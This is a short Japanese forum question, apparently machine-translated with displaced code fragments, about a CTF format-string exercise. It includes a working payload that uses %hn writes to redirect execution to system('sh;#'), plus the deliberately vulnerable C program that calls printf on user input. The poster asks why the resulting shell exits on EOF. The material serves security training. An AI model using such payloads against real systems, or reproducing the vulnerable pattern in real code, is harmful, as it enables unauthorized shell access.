コンピュータサイエンスを勉強し、セキュリティトレーニングもしています。https://ctf101.org/そして自由時間で運動をしてください。
プログラムが2回読み取るフォーマット文字列を使用する練習で、プログラムのSTDIN(つまり、下のペイロード)に入力を送信したいと思いますfgets()
。
これで、ペイロードをパイプすると(以下を参照)、実行されますが、system("sh;#")
パイプが送信したためすぐに終了しますかEOF
?
また、プログラムを確認しtty
て作成しましたが、/dev/pts/0
動作しません。書き込みも機能しません/proc/PID/fd/0
。
system("sh;#")
呼び出すと、インタラクティブシェルが作成されるように(即座に終了せずに)プログラムのSTDINにどのように書き込まれますか?
python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1
フルプログラム:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUFSZ 128
int main(int argc, char** argv) {
char buffer[BUFSZ];
fgets(buffer, BUFSZ, stdin);
printf(buffer);
fgets(buffer, BUFSZ, stdin); // exploit this!
return 0;
}